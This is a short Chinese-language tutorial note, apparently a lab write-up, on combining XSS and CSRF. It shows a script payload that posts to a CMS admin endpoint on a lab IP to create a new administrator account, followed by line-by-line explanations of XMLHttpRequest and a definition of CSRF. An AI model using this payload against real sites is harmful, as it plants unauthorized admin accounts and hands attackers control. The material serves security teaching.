?2.CSRF与XSS漏洞结合,创建网站后台管理员账号
首先确认网站后台内没有用户
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.40.137/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=Feng&password=root&password2=root&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
Xmlhttp是一种浏览器对象, 可用于模拟http的GET和POST请求 |
打开,一个post传参,接一个url(此为cms的后台登录界面),false为同步,默认为true(异步) |
setRequestHeader方法只是XMLHTTP为添加或修改HTTP头提供的一个接口方法而已, 至于里面的值则是HTTP协议的含义。 |
XMLHttpRequest.send() 方法用于实际发出 HTTP 请求。 |
?XSS与CSRF结合完成。????
CSRF(Cross-site request forgery),中文名称:跨站请求伪造 |
用户浏览并登录网站A,而网站A则在浏览器生成A的身份凭证Cookie,用户在没有退出A站的情况下,访问B危险网站,则载入恶意代码,向A站发送请求,用户的浏览器则根据B危险网站的代码,期待产生的Cookie的凭证访问A,A不知道本次的请求是用户发出是还是B发出的,但由于是携带用户的Cookie,则A站则根据用户的权限来对请求进行处理。这样B就完成一次CSRF的攻击。 |
?